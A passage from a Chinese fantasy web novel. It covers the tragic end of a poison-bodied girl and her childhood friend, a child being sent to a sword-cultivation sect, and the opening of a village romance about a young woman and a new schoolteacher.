恒跌撞站起身,他得赶紧找到一把锤子,或者其他什么东西,能将墙破开,他得赶快!
不好的预感在心里蔓延,整颗心脏剧烈跳动起来。
他跑进前方的黑暗,在巷子里一路穿梭,墙边往往堆积着各种杂物,也许会有他需要的工具。
…………
闻府前院,一位穿着古怪,有些像神棍有些像巫医样的人被引进府中。
马上,闻府老爷出来,带这些谨慎却又不失热情地迎接这位古怪客人,斟酌着词汇问道:
“这位……道长,不知道长到来,所谓何事?”
“府中不久前可是诞下了男婴?”
闻府老爷神色一紧,又极快平缓下来,道:“是的。”
道长左右张望一眼,似是在寻找什么,用不小的声音喃喃:“府中孽气颇深,恐怕这男婴活不了几年。”
“这……”闻府老爷顿时无法淡定,忙道:“不知这孽气是如何?道长可有法子消除?还望道长救救我家小儿。”
道长嘴角微不可察翘起,又道:“府中紫雾弥漫,尔等肉眼自然是看不见,但你应该能想到什么。”
对方浑身一震,皱着眉头思索,很快,脑海中浮现一个画面——
多年前,产婆抱出一个孩子,那孩子浑身布满可怖的紫色纹路,而接生的产婆很快中毒死亡……
“是那不祥!”
闻府老爷握紧拳头,“我这叫叫人将那孽障扔去乱葬岗!”
他正要派人去做,道长悠悠抬手制止,道:“此法不可,那毒物恐会心怀怨恨,对府中下毒咒。”
“那该如何是好?”
道长沉默着思索,在对方焦急的目光下,终于道:“不如这样,这毒物由我带走,我自会想法子镇压它。”
闻言,闻府老爷松了口气,忙不迭点头,引着对方去到后院。
闻幸靠墙坐着,等着恒回来,视线时不时落在身旁盘子里的精致糕点上,淡淡的甜香味萦绕鼻尖,让她经不住要了咽口水。
等了许久,她终于听见脚步声,在墙壁的阻隔下变得沉闷。
“恒,你来了?”她激动地翻身跪起,垂着脑袋将视线投出洞口。
恒手里捏着把锤子,他找了许久也没在杂物堆里找到什么合适的工具,最终去找了从前的某个雇主,借来这把锤子。
“闻幸,你站远些,我将墙凿开。”
“好。”闻幸应声后退,很快听见一声沉闷的“砰”,厚重的墙壁竟轻微颤抖。
无法想象,恒这具瘦弱,营养不良的身体能在一瞬间爆发出这等威力。
闻幸看得提心吊胆又激动起来,很快第二声、第三声撞击声传来。
却在这时,多年未被打开的后院大门被推开,脚步声传来。
闻幸惊诧回头,看见几个陌生人——她眼中的熟人也只有恒一个。
显然,突然出现的人也听见了墙壁被撞击的声响,明白这是什么情况,为首的男人立马气急败坏道:“孽障竟想逃走,速速将她抓住。”
几个汉子奔跑向前,将从没见过这番架势的闻幸吓了一跳,急着喊:“恒,恒!”
“闻幸,怎么了?”
“恒,有人要抓我!……不要,不要碰我!”
墙的另一边传来骚乱,伴随着谩骂与哭喊声。
恒握紧锤子,多次打击下手臂已经发酸,不受控制的痉挛,他咬着牙,狠狠抡起,再次对着墙壁暴力一击。
砰的一声巨响,墙壁震动得更加厉害,石灰簌簌掉落,极小的洞口再数击之下扩大一些。
“去府外,将外面的人抓住!”闻府老爷下令。
闻幸已经被两个壮汉一手控制住一条胳膊,被提在空中,她拼命挣扎着,双腿使劲扑腾,发出小兽般的吼叫,愤怒得目眦欲裂。
道长暗暗点头,眼中闪过惊喜,从衣兜中摸出一把粉末,将其扔向对方。
闻幸意识到什么,瞳孔睁大,扭着脖子拼命去看身后的洞口,哭喊道:“恒,恒!”
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恒自然听见院内的人下了令要捉自己,他喘着粗气,虎口阵阵发麻,却再次抡起了锤子,在闻幸一次一次呼喊自己的名字时砸向墙壁。
很快,院内没了闻幸的声音,闻府老爷与道长先行离开,留下几个门卫找来竹梯,墙头出现几个脑袋。
那些人从几米高的墙上砰的一声跳下来,骂骂咧咧走向恒,抬起一巴掌先扇了下去。
恒眼前瞬间一白,身体不受控制地受力飞了出去,脸颊火辣辣的疼,但心却像坠入冰窖般,冷,冷到极点。
眼见另一群人从府内侧门出来,奔向自己,恒绝望地闭上眼睛。
这时,一道人影从黑暗中出来,轻轻甩手,几枚闪烁着寒光的飞镖飞出,飒飒几声命中逼至眼前的人。
那些人见状,及时刹住脚,互相看了一眼,连忙后撤。
恒视野模糊,看见一个身着深色的男人走到身前,弯腰捡起了那把锤子,转身看向自己。
他思绪混沌,但能明白对方看蝼蚁般看向自己的眼神。
“眼下俞晟两国开战,本地县令怯懦无能,乡民已有暴起之势。此地迟早大乱,你还是尽早离开为好。”
顿了顿,他朝院内看去,视线虽被厚重墙壁阻隔,却道:“那人已经被带走。”
说完,对方收回视线,转身再次融入黑暗。
离开……吗?
“他最终没有离开。”闻幸说。
“我醒来时,发现自己被浸在一个锅炉似的东西里,水是紫色的,里面还泡着很多虫子……”
“哇啊!”
闻幸吓了一跳,在水里扑腾着,终于摸到容器壁,正要爬出来,却被一只有力的手按了下去。
这突然的一下让她呛了不少水,而且,这水太过奇怪,光是触碰,就让她浑身发疼,骨子里的小虫好像要钻出来般,她清楚地看见自己手臂上的紫色纹路在扭动,像活过来般。
“叫嚷什么呢!”男人不满道,看着面前自己的作品,又忍不住嘿嘿笑出声:
“天选的毒物,我必将练出世间剧毒!”
闻幸没听清对方在说什么,她思绪再次混沌,身体被抽走力气般,缓缓沉入毒液中,任其将自己包裹。
她被对方扔进毒虫堆里炼蛊,被对方放血制毒,被对方喂了各种让她生不如死的药……
但最终,她都挺了过来。
“难怪你的毒这么厉害。”孟梨食轻声惊叹,又问:“后来呢?你逃出去了?”
闻幸神色未有任何异常道:“我将他毒死了。”
她被对方培养许久,身体里的毒素日渐强悍,远比对方想象的还要强,对方就这么被她毒死了。
闻幸离开了那个阴暗的洞穴,那个填满各种毒物的洞穴,见到了外面的太阳。
她不知道自己多久没见到阳光了,她就这么直直地看着,生理和心理上的泪水缓缓流淌。
而她更不知道自己被带走多久,那些痛苦的日子让她度日如年,而常年深处阴暗环境,更让她不知外面昼夜变换。
也许过去了一年,两年,或者三、四年。
她也懒得去想,她混沌的思绪与记忆里,只有一个人——恒。
她不知道自己活着干嘛,只希望死前能再次见到对方。
她在毒洞内许久,也学到些东西,比如控制毒虫,让其成为自己眼睛,为自己探查,为自己寻找。
终于,她踏上了回去的路。
71. 散毒女与竹马(4)
“路途很艰难,”闻幸淡淡说着,“但我还是找到了小时候生活的地方。”
她这简单的一句话,却不知包含着多少艰辛酸苦。
江余客不敢去想象,最起码,最终结果是好的,可……这好的结果也只是暂时的。
闻幸踏入一座慌乱破败的小镇,一个与记忆中相去甚远的小镇。
她从前只能与恒躲在被黑暗填充的小巷内,悄悄又贪婪地去看外面的场景,看那热闹的街市,可现在,好像一切都不见了。
街道上冷清得仿佛一座空城,只有零星几个人跌跌撞撞地行走,笼着灰扑扑的破烂衣衫,毫无生机,仿若死尸。
没有人去注意闻幸,也没有人有多余的力气去抬头看其他行人。
街两旁的屋舍残破不堪,好似遭到劫匪的洗劫,门窗半挂,屋内灰尘厚重。
闻幸收回视线,她不确定自己有没有找对地方,必须得去那里看看,去那条小巷。
长途跋涉让她脚底冒出血泡,又破裂,暗绿色的血液被踩进灰地里,发出腐蚀一切的嗞啦声。
走了好一会,她不太确定地停在一条小巷前,里面依旧黑暗,将她投去的视线吸入。
她一步一步走进去,停在一处明显被修补过的墙前。
是这里了。
她回忆着,突然从衣服里抓出一条深黑带红的蜈蚣,将对方捏得爆浆,然后将其尸体放在地上。
如果恒看见了,应该就知道我回来了吧……闻幸心想。
她扭头望向延伸进去的黑暗,准备进去,她记得恒说过,往里走是恒的家。
她逃避似的没去想恒会不会已经离开。
走啊走,虽然在黑暗中,但早已适应了昏暗,她走得很稳,轻松避开路上的障碍。
几丝闷响传来,她脚步一顿,静静聆听,但旋即全身紧绷,她听见了熟悉的声音。
她惊喜又着急地走过去,颤着声音喊:“恒,是你吗?”
闷哼声与拳头落在□□上的声音瞬间停止,几道视线投了过来,落在闻幸脸上,打量的,不怀好意的视线。
她一时间没得到回答,几秒后,一声吐血声后,熟悉的声音响起:“快走……快跑……”
恒的回答让此地另外两人觉得突然出现的家伙不足为惧,尤其那明显是个女声,于是一个活动着手腕走上前,一把抓住闻幸将其扔到恒身前。
这一击将闻幸摔得眼冒金星,全身跟着疼痛起来,手臂好像擦破了皮。
恒忙强撑着扶住她,抬头对着面前两人道:“这事与她无关,你们想要什么我都给你们,放过……”
砰!
一脚狠狠踹向恒的胸口,打断了他的话。
“女人?”另一道陌生声音响起,“女人好啊,细皮嫩肉的,煮来吃口感肯定不错。”
恒脸色一白,不知哪来的力气,突然站起身冲到对方身前,一拳轰出。
“跑!”他朝闻幸喊道。
砰的一声,对方被打得往后踉跄两下,很快稳住身形,旋即怒上心头,一脚踹出,将其踹飞在地。
“谁都跑不掉!”
男人说着伸手,要将闻幸提起,却摸到一个怪异的东西,接着他的手被狠狠咬了一下,顿时疼得他惨叫出声,摔倒在地。
另一个男人被这个情况吓得下意识后退一步,眼珠一转,觉得只是什么小伎俩,他小心一点就不会出事,于是再度向前。
闻幸张开手,无声中散发出毒气,紫雾混在黑暗中,让人难以察觉,等男人发现不对劲时,已经思绪混沌,嘴里吐出大口白沫,重重倒地。
“闻幸……是你吗?”恒气息微弱地喊道。
闻幸猛然回神,转身跑到恒身前,下意识扶住对方,猛地反应过来,松开手。
“恒,恒……”
“我没事。”恒忍着全身被碾压过般的疼痛,坐起身,努力在黑暗中辨别面前人的样子,不敢相信道:“真的是你吗?”
“是我,我……”
闻幸的声音带上些哭腔,一瞬间,无数委屈与害怕蔓延上来,让她在面前这个自己唯一能依赖的人前哭出声来。
“没事了。”恒忽然抱住对方,他自己心中亦有无数委屈与辛酸。
闻幸怔了一下,下意识要将对方推开,对方却比她更快地倒向地面。
“……恒,恒?”
“没……没事,只是我,有些累……”
恒的声音微弱,他很想说,让他睡一觉就好了,可他也知道自己不能睡,睡着了就再也醒不来了。
最起码,最起码现在还不能睡,这里不安全,不能让对方待在这里。
他努力睁开眼睛,对闻幸道:“我们先离开这里吧。”
他伸手握住对方手臂,微微借力起身,拉着对方,跌撞地离开这里潜藏无数危机的巷子。
两人一直走到小镇后方,一座山的脚下,那里有个破烂的小庙。
出了小巷外周遭环境立马明亮起来,闻幸也借着外面的光线看清对方抓着自己的手臂上,开始不正常地泛紫。
她立马将自己的手挣脱出来,恐惧道:“不,不能碰我,会死的,你会死的。”
恒侧头看她,只见对方露出的皮肤上已全是紫色,更深的紫色纹路如小蛇般在皮肤上蔓延扭动。
“这些年……你,你……”他实在是问不出来,光是想象,就让他害怕。
“没事。”闻幸看着面前几米处的庙,道:“进去,先。”
恒靠着墙半躺在草席上,闻幸注意到对方手臂上的紫色已经布满整条手臂,颜色相较于她身上的要浅很多,但对于对方依旧致命。
此外,他浑身是伤,淤青处处可见,身子也单薄得厉害,整个人气息微弱。
对方这些年也过得很不好……闻幸心里一阵抽痛。
恒真的很累,他知道自己命不久矣,能在死前看见闻幸还活着,他已经没有什么遗憾了。
当初对方被抓走后,没过多久此地暴乱,娘身子本就不好,命丢在了暴乱中,许多人搬走了,更多人死了。
他也不知道自己能逃去哪里,而且,他知道,如果闻幸活着,肯定会再次来到这里,不能再次见到对方,他就算是死也不会瞑目。
他微微合上眼,突然剧烈咳嗽起来,咳得全身剧烈颤抖,好像会把肺都咳出来。
闻幸全身紧绷,她噌的站起身,严肃道:“我去后面山上找草药,等我,不要走。”
还没等恒应答,她生怕去晚一样,跑出了庙。
恒想阻止对方,还没开口,再次剧烈咳嗽起来,生理泪水噙满眼眶,余光中,他看见自己泛紫的手臂。
找草药对闻幸而言不算太难,但具体哪些草药能治哪些病她不能确定,如果是分辨毒药那她很擅长。
随着她深入林中,凡她所踩踏过的地方,细密的草迅速枯黄,蚂蚁等小虫子惊恐地向四周逃窜,却未能逃出几米便如蜡般融化。
忙活许久,她终于找到几株她能确定是草药的植物,心中一喜,连忙回到山脚小庙,在外面寻了一圈找到个铁锅开始熬药。
一直到天色渐黑,闻幸才端着熬制好的药进来,走到恒身边。
恒静静躺着,脸色惨白。
捧着碗的手控制不住地颤抖,闻幸轻声喊道:“恒,恒……”
恒缓缓睁开眼,看见面前的人肉眼可见地松了口气,说:“我熬了药,喝了药就好起来了。”
恒点点头,接过药,未看一眼,直接送入嘴中。
“咳咳咳——”
他弯腰咳嗽,将空了的碗递出,闻幸下意识要扶
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住对方,伸出的手却顿在空中,只是接过了碗。
她身上的毒厉害,只是接触也会传给对方。
咳了好一会,苍白的脸上咳得有些绯红,恒扭头看着一脸担忧的人,笑道:“这药很管用,我感觉要好受一点了。”
闻幸重重点头,鼻头微酸道:“好,明天我再去找草药。”
此后几天,闻幸依旧上山寻找草药,而庙后那片林子,在以惊人的速度被污染,空中弥漫着薄薄的紫雾,动物尸体随处可见。
哪怕每天喝闻幸熬制的药,恒的身体也不如他所说那样好转,气息越发微弱。
直到一次,恒喝完闻幸熬的药,又咳嗽起来,这次咳嗽得比往常都要厉害,咳出了许多发黑的血。
他视线一阵模糊,他知道时间到了,于是伸出手,想最后一次摸摸对方。
闻幸惊恐后退,害怕将自己身上的毒传给对方。
恒张张嘴,想说些什么,却没力气说出,伸在空中的手缓缓坠落。
“恒?恒!恒!”
闻幸颤抖着双手,想去推一推对方,却不敢,只能一遍一遍喊着,但对方再没有回答。
恒死了。
闻幸眼前一白,所有思绪都空了,她沙哑着嗓子哭喊,终于下定决心去触碰对方,去抱住对方。
“我将恒安葬在这里,下葬时,他身上的紫色更加深重,我突然意识到,也许我熬制出的汤药,在经过我的手后,对于他而言已经成为了毒药。”
一开始意识到这些时,她悲痛得恨不得去死,但现在,她已经无神麻木了。
她没必要寻死了,因为她马上就会死。
静静听完,孟梨食开口道:“按照之前约定的,我会安排好你们的后事,另外,在死前一秒,你要不要喝一碗忘情水。”
闻幸轻轻摇头,道:“哪怕是死,我也不想忘记恒。”
孟梨食微不可察点头,道:“好。”
说出这个故事耗费闻幸很大心力,她终于坚持不住,身子一歪,倒在了土堆前,两行发黑的泪水从脸庞上流淌下来。
孟梨食呼了口气,对身后几人吩咐道:
“你负责净化,包括这片林子。”她看着江余客。
“我俩挖坑吧。”她看向小魂。
江黎客仰着脑袋看她,见自己没有被安排,问:“娘,我呢?”
小魂悄悄给孟梨食使了个眼色,悄声道:“孩子还小,不该让他知道死亡。”
不过它也知道自己说得太迟了,闻幸已经在孩子面前死去,而对方说的话,孩子也一字不少地听了去。
“人们很需要死亡教育。”孟梨食开口。
她看向江黎客,放柔声音道:“每个人都会死亡,知道吗?”
江黎客点头:“知道。”
“死亡也许是分别,也许是团聚,但无论是什么,都是人生的一部分,都是暂时的,知道吗?”
江黎客双眼透出些迷茫,半晌才慢慢点头:“知道。”
“他们马上就要团聚了,你去为他们准备些花好吗?”
“好。”
这片林子已经被毒气污染,花草都已枯萎,孟梨食便化出几根红绳,食指一动,红绳变为白色。
“来,”她将白绳递给对方,“按你魂叔教你的,把它编成一朵花。”
江黎客应声接过,蹲在一旁认真编织。
江余客手中的轩辕剑静静散发金光,四周的紫雾以肉眼可见的速度被吞噬,几人的视野很快清明。
孟梨食和小魂很快挖好坑,就在土堆旁边。
小魂将睡着的人放进土坑里,孟梨食抬起手,散出灵气,让虽然没有紫雾覆盖,但长时间内依旧会光秃的土地焕发出生机。
做完一切,孟梨食牵着江黎客的手,几人离开了。
72. 育儿日记(3)
过了一个月,江黎客上学的安排终于提上日程,江余客已经打听了几家不错的私塾,准备带江黎客一一去试试,合不合适还是要看对方。
几人乘坐马车,准备去最后一家私塾,也是最远的那家看看,需绕过一座山。
马车行走在林间大道上,安静中只有咕噜噜的车轮滚动声。
江黎客撑着车窗,对于外面的事物总是充满好奇,看见一只小鹿都要哇哦一声。
这时,他眼睛一亮道:“哇哇哇!”
“这是看到什么了?”江余客好奇地凑上去,视线在林子边扫过,并没有发现什么不对劲的地方。
“什么也没有啊。”他嘟囔道。
“爹,天上有人。”江黎客努力仰着脑袋,半个身子差点伸出窗外。
孟梨食伸手拉了拉,将对方抱到车厢前驾车的地方,让对方一下子看个够。
她顺便抬眼不在意地瞧了瞧,原来是不少修仙者御剑飞行在空中。
“他们的剑会载人飞,为什么我的不行?”江黎客扭头看着孟梨食,大大的眼睛里满是疑惑与向往。
这时江余客也跟着出来,江黎客看着对方腰间的剑,忙问:“爹,你的剑可以载人飞吗?”
江余客下意识看了看自己腰间的剑,沉默两秒:“按理说是可以的,只是……”
“只是你没有灵力。”孟梨食补充道。
“灵力?”江黎客歪头,靠在孟梨食怀里。
轩辕剑是神剑,载人飞自然是可以,奈何江余客只是个江湖侠客,并未修行,体内没有灵力,这把剑的很多功能都无法发挥出来。
“娘,我想学这个。”江黎客躺在孟梨食怀里,仰着小脸道。
被这双又可怜巴巴又期望的眼睛盯着,就算是心硬如孟梨食,也无法立马说出拒绝的话来。
她顺着天上御剑飞行的人前往的方向,确定前方有一修仙门派,又想了想,她看向江余客。
后者不知在想什么,有些出神,直到被孟梨食捶了一下,才忙点头道:“我看不错。”
“行吧,就去前面那个宗门看看,要是不够好,再找找其他宗门。”
驾车的小魂闻言,嘀咕道:“送去修仙吗?也不错。”
很快,马车停在一座石门前,几人下了车。
“万剑宗……”孟梨食低声念出石门上的三个遒劲大字。
“诶,这个宗门我知道啊,”小魂激动道,“大宗门啊,这个不错!”
门前的两位弟子上前,不动声色打量几人,视线在小魂身上微微停顿,旋即看向中间的孟梨食,问:
“不知各位前来我万剑宗有何事?”
开口前,孟梨食看向被江余客牵着的江黎客,问:“你确定想学?”
“想!”江黎客亮着眼睛回答。
孟梨食点头,对面前两位万剑宗弟子道:“我想送我孩子来此学习,不知有何要求?”
“这个……现在并未到招弟子的时候,还请……”
孟梨食默默取下江余客腰间的轩辕剑,那两位弟子见此,嘴里的话硬生生停住。
“我……我带各位去见随风长老。”
待客大殿内,被称作随风长老的老者走向几人,在看见孟梨食时抬手道:“久闻卖水人大名。”
孟梨食点点头,低头看了眼扒住江余客大腿,偷摸看对方的江黎客。
“这是我孩子,我想送他来贵宗修炼。”
“我先让人带小公子去测天资。”
孟梨食看出对方还有什么话要说,闻言点头,让小魂陪着江黎客跟随对方唤来的人离去。
老者看向江余客,开口道:“不知这轩辕剑,二位是如何得到?”
江余客将那番话又说了一遍,闻言,随风长老感叹般说道:“缘分呐。”
他张张嘴,想说些什么,江余客早有预料般道:“我无心于修仙。”
随风长老叹了口气:“亦是缘。”
很快,小魂和江黎客回来了,最前面带路的弟子朝随风长老行了一礼,道:“天资上乘。”
随风长老眼神一亮,点头,对孟梨食等人道:“没问题了,我会亲自安排他的修炼之事。”
江余客蹲下身,拉着江黎客的手,取下腰间的剑,在对方指尖轻轻一划。
一滴血滴落在剑身上,一道金光后,那滴血被轩辕剑吞噬。
“这是……”随风长老震惊。
“好了,这把剑爹送给你了。”江余客摸摸江黎客脑袋,笑道,“要好好修炼,保护好自己。”
“我变厉害了还会保护娘和爹,还有魂叔!”江黎客开口,眼中充满斗志。
随风长老不经在心里感叹,有轩辕剑认主,整个万剑宗都会着重培养此子,此子未来修为不可估量。
安排好一切,包括最基础的住宿问题后,天色渐暗。
不知何时,江黎客心情渐渐低落,小嘴憋了起来,他好像意识到什么。
“爹和娘不陪我了吗?”他拉住江余客的手,委屈巴巴道。
“你要在这好好修炼啊,要修炼变得厉害啊。”江余客拍拍他脑袋。
“可是……可是……”
“不要!”江黎客突然道,“我不要在这,我要和你们在一起!”
孟梨食不知说什么,要是孩子实在不愿意,那便不修仙了,她正想如此开口,却听江余客道:
“可是你不想变得厉害保护爹娘吗?要是有一个爹都打不过的人怎么办?”
孟梨食静静听着,微皱眉看着江余客,不知对方心中在想些什么。
随风长老呵呵笑道:“孩子还小,很正常,过些日子就好了。”
江黎客哭出声,眼泪大颗大颗坠落,拉着江余客的衣袖不松。
江余客叹了口气,求救般,用微红的眼睛看向孟梨食。
后者蹲下来,食指在空中一勾,一根红线浮现在三人中间,这根红线很奇特,因为它连接着三个人。
“等你变得厉害了就可以看见这根红线,然后顺着这根红线随时来找我们。”
江黎客的哭声渐渐减小,很轻地“嗯”了一声,看着这根连接着三人的红线变得虚幻,直至消失。
天色极晚的时候,孟梨食等人终于离开
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万剑宗,每个人的心情都异常沉重。
孟梨食看了眼出神走着的江余客,她知道对方最是舍不得孩子,却没想到这次,对方竟一点犹豫都没有。
江余客正走着,面前出现一把剑,顺着剑看向握剑的人,他听见孟梨食道:“无寞剑,孟婆送我们的新婚礼物,刚好给你用。”
“行。”他强扯出一抹笑,接过剑。
几人回到小泽野湖边的小屋中,又住了几日,少了个人,哪哪都觉得不对,哪里都不适应,最终,几人上路,到处走走逛逛闯闯,一年结束时再回来小住。
“卖了多少碗水了?”路上,江余客突然好奇问。
孟梨食虽然急着回地府,但对这个却没上心去记,毕竟于她而言,体验人间百情百苦可比卖出一百碗忘情水更难。
“离一百碗还有好长一段距离呢!”小魂道,它已经有些认命了,一路走来,觉得人间还是蛮不错了,回不去就回不去吧。
当然,它知道肯定会回去,只是时间问题。
“害,突然好想小黎客啊,这么小的孩子被送去修仙,不知道累不累,有没有受委屈。”小魂感慨般开口。
它话一出,本就强撑着的两人陷入沉默。
孟梨食很想将对方拎在手中,在空中轮转两圈扔出去,简直是哪壶不开提哪壶。
但她克制住了这个想法,她现在的脾气要比以前好很多。
浑然不觉自己差点被扔飞的小魂突然一顿,望着远处道:“那里怎么有一抹红色?”
江黎客不在后几人便选择步行。
前方有片村庄,绿意盎然中点缀着黄灰色的房屋,一片怡然,但却突兀地出现一抹红色。
江余客眼神极好,看了一眼,道:“那是个人,穿着婚服的女人。”
“新娘子?”小魂嘀咕道,“那不去成亲在半山上张望什么?得亏不是在晚上,不然我得被吓死。”
比对方容貌先落入眼中的,是对方神色间的哀伤与痛苦,孟梨食直觉生意来了。
“走,去问问对方发生了什么事。”
那新娘子依旧立在路边,失神般眺望远方,浑不知几个陌生人正在靠近自己。
江余客都担心对方一下子想不开跳下去,路边可没有什么围栏,坡度又高,普通人一旦跳下去,鲜少有奇迹发生。
然后,在几人完全靠近时,对方转过身,微愣了一下,“各位是……”
孟梨食没回话,她站在对方身旁,同样将视线送出,看见山脚一条蜿蜒的小路上,极远的距离外,有一个人在远去。
“我是个卖水人,专卖忘情水,一碗解忧又忘愁,限时半价,要来一碗吗?”
对方嘴唇轻抿,在犹豫,几秒后,她笑道:“好啊。”
孟梨食侧身看向她,“你得告诉我发生了什么,你想忘掉谁。
“别担心,这事我不会说出去,这是我的职业素养。”
孟梨食一脸严肃道,对方却是笑笑,显得并不在意,说:“我想忘掉先生,他是我们这的教书先生,叫池润……”
“我叫白梨,先生的半个学生……”
73. 我生君已老(1)
梨花村坐落在晟国边界几大城市中间,是个风景宜人,民风淳朴的村子,只是依山傍水,山路崎岖的,很少有外人来,最近的集市距此也有数十里,往往要走上半天。
白梨家中有父母与一个弟弟和妹妹,为了补贴家用,她便抽出家务之外的时间织布绣荷包,再统一拿去集市上卖。
这日,弟弟妹妹疯玩一天回家,叽叽喳喳讨论着什么,弟弟白石先跑进堂屋,大声道:“村里新来个教书先生!”
之前的教书先生因太过年迈而离去,村里的孩子有半年没上学了,这下终于把新的教书先生盼来了。
正编织竹篓的白梨娘听到,手中动作不停,道:“什么时候开学堂,到时候把你送去就是了。”
白梨妹妹白桃蹲在白梨身旁,看着对方熟稔地织布,不说话。
白梨动作微停,看了她一眼,道:
“让白桃也去上学吧,束脩的话我把新织的几匹布拿去卖,也能凑凑。”
还没等白桃眼中绽出喜悦,屋中另一边的白梨娘皱眉道:“女儿家家的,上什么学堂,有这闲工夫不如帮家里织些布。”
白桃瘪了下嘴,低下了脑袋。
“家里就一台织布机,我来就够了,她还小,又做不了什么,让她去吧。”
白梨娘还想说些什么,扛着竹子的白梨爹回来,听见几人对话,道:“去呗。”
嘭的一声,他将肩头的竹子扔在院子里,叉腰道:“嘿嘿,等桃儿认了字给爹看账本。”
“看账本不是有石儿嘛。”白梨娘嘀咕道。
“诶,你忘了咱说的,都和他大舅子说好了的,等明年送石儿去他那学门手艺,编竹篓又不赚钱。”
白梨娘最终说不出话来,此事也算是定下了。
白桃往白梨腿边靠了靠,弯着眼睛,轻笑道:“阿姐,谢谢你。”
白梨跟着笑道:“你好生学,认了字回来教我。”
白桃忙兴奋点头,可旋即,她想到,阿姐也是渴望上学的……
今日下午,白梨便提着两份束脩,领着弟弟妹妹去见新来的先生,也帮新来的先生整理下学堂。
学堂是村子里早就有的,不过已有半年未用,里面落满了灰尘。
远远地,白梨就看见一道灰色身影在学堂里进进出出,抱着一沓沓书本进去。
对方穿着极其朴素,打着补丁的衣衫,墨发微散,神色自有一股书生气般的宁静,但眼角又有着微细的皱纹,眼里含着沧桑。
“是先生?先生!”白桃迫不及待跑过去,直到与对面先生只有一米时才急急刹车,乖巧喊道:
“先生好!我是白桃。”
“白桃,哦,你好!”池润抬眸,看向紧跟而来的两人,对拿着束脩的白梨笑笑,说:“学堂后日才正式入学,束脩的话可以明日再送过来。”
白梨:“这学堂有半年未用,先生是读书人,这种洒扫的事我们来做就好。”
“读书人的手也是沾阳春水的。”先生笑笑。
白石接过白梨手中的东西,按先生指的地方放在后屋里。
白梨熟练地在学堂后面找到不用的帕子,又去溪边打了水,开始擦拭书案上厚重的灰尘。
见对方已经忙碌起来,池润忙将准备的纸砚抱过来,在水泽已经干了的书案上摆放。
“不知小姑娘何名?也是要来入学的吗?”池润问。
白梨擦拭的手一顿,旋即笑道:“我是白桃和白石的姐姐,白梨,先生,我不入学。”
“这样……”池润忍不住看了对方一眼,猜测对方不过十五六岁,要是入学,年纪不是问题,但……
他想到对方的话,家中有一个弟弟和妹妹,不入学的原因大概也就在这了。
他微叹了口气,看出对方是极聪明灵敏的,便道:
“下了学可以多来学堂看看,要是有感兴趣的不懂的,随时来问我。”
白梨眉眼弯弯:“好。”
第二日下午,学堂进行正式入学前的一些安排,主要是看这里的学生在上一任先生的教导下学习的进度,以及还记得多少。
太阳落下一半时,白桃与白石才结伴回家,相比于白石,白桃更显得兴奋,一进门就说个不停,很不得将先生说的每句话都背下来。
“还有,先生送了我们书,是《三字经》诶!”
白石昂着脑袋道:“这书里很多字我都认得。”
他本想炫耀一番,却没想白桃一脸崇拜道:
“真的吗?好厉害,你可以先教我几个字吗?”
白石一噎,在对方放光的目光下,只得硬着头皮答应:“行……行吧。”
“哦,对了,阿姐,这是先生给你的。”白桃想起一件极重要的事,忙将保护在怀里的书取出,递给白梨。
“先生给我的?”白梨一阵惊讶,可是她只会认几个字啊。
“先生说这是先生自己誊抄的一些诗,要是有字不认得让我们教你,要是有意思不理解,可以随时去请教先生。”
这话爹娘听了也是一阵惊讶,白梨娘脸色有些古怪,爹倒是哈哈笑道:
“好啊,家里又多了个认字的了。”
“别耽误织布就好。”白梨娘嘀咕道。
“行。”白梨郑重将书收下。
等到忙完一切,她才借着弟弟妹妹学习用的瓦制小油灯,将书翻开,一阵温吞木香和淡淡油墨味散发出来,萦在鼻尖与每一个呼吸间。
书上的字遒劲有力,铁画银钩,整体来看,布局间又透出温和与细致。
白桃突然凑上来,看了眼阿姐手里的书,又去看白石写的字,嫌弃道:
“阿石,你字写得好丑,先生写的字就很好看。”
“有,有本事你来写!”白石愤懑道。
“吵什么呢?不学了就赶紧睡了,浪费油。”白梨娘在屋外喊道。
屋内三人连忙闭上嘴,互相看了一眼,齐声道:“要学要学。”
第二日早,白桃白石去上了学,白梨将碗洗了,衣服洗了,便开始织布。
她打算再织几匹,过些日子与村里妇人一起将布卖到镇上去,换些钱给白桃买笔墨纸砚,白石以前的还能用。
等忙活到下午,白桃和白石下了学回来,白桃第一次上学,激动得不行,今日早天还没亮就起了床。
“阿姐!”对方蹦蹦跳跳地回来,“阿姐,今日我学了好几个字,我得快些教你。”
她嘀咕道:“要是我忘了就不好了,我才不想去问白石。”
白梨手里还在忙活着,闻言朝对方扬着下巴,道:
“来,坐我身旁,说说今日在学堂内学到些什么。”
“学了《三字经》,认了好些字,阿姐,我先教你认字啊,我翻翻……在这呢,先生教的法子可有趣了,瞧这个字,长得像山,它就是‘山’字。”
“还真的是。”白梨惊讶道。
“
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先生说,以前的古人就是这样造字的,还有这个‘水’字……”
白桃絮絮说着,不知何时,白梨手里的活计停了下来,入迷地听着对方说。
又上了几日学,白桃会认的字更多了,而相应的,白梨会的字也多了。
“诶,阿姐,你明日是不是要去镇上卖布?”白桃突然问。
“对啊,卖了布后给你买些笔墨和纸,怎么了?是要我给你带些吃的回来吗?”
“才不是呢,我已经不吃这些了,我要把钱存起来买书的……”白桃撇嘴道,“诶呀,差点忘了我要说什么了,是先生!”
“啊,先生?”瞬间,白梨脑子里又浮现了那个穿着灰布衣的男人。
“先生最近也要去镇上买些东西,他不是刚来嘛,路途不熟,想明日早和你一道去,问你行不行,行的话他就在学堂门口等你。”
白桃说完,白梨却是好一会没回过神,直到白桃喊道:“阿姐,行不行啊?”
“行啊!”白梨收回神,笑道,“当然行啊,正好我可以问问先生,买什么样的毛笔好,这些刚好我又不懂。”
白桃嘟嘴道:“我也想去的,但我还要学字。”
今晚,白梨便将明日要卖的东西准备好,还有娘栽种的一些菜,难得去一次镇上,一并卖掉。
第二日早,天刚蒙蒙亮,白梨起了床,带着昨晚准备好的东西出了门,先去到学堂。
等她走过去时,天边泛出微微的白,骄阳还未露面。
一片灰色中,一个人影立在学堂门外,只有个大致的轮廓。
白梨在瞬间认出对方,压着心中的小雀跃走过去,喊道:“先生,早啊!”
“早。”对方笑笑,指着对方背的竹篓,问:“重吗?我帮你背吧。”
白梨下意识后退一步,忙道:“不重,怎么能让先生来背。”
“害。”对方叹了口气,好像意识到面前小姑娘的执着,道:“行,如果背不动了就叫我。”
白梨直直点头。
梨花村距离最近的镇上可有一段距离,白梨都担心先生没体力走过去,更别说还要让对方背个竹篓了……害,为了省钱,只能步行过去。
两人一直走到天色大亮,骄阳挂上树梢,路边延伸出去的林子里,时不时传来鸟儿欢悦的鸣叫。
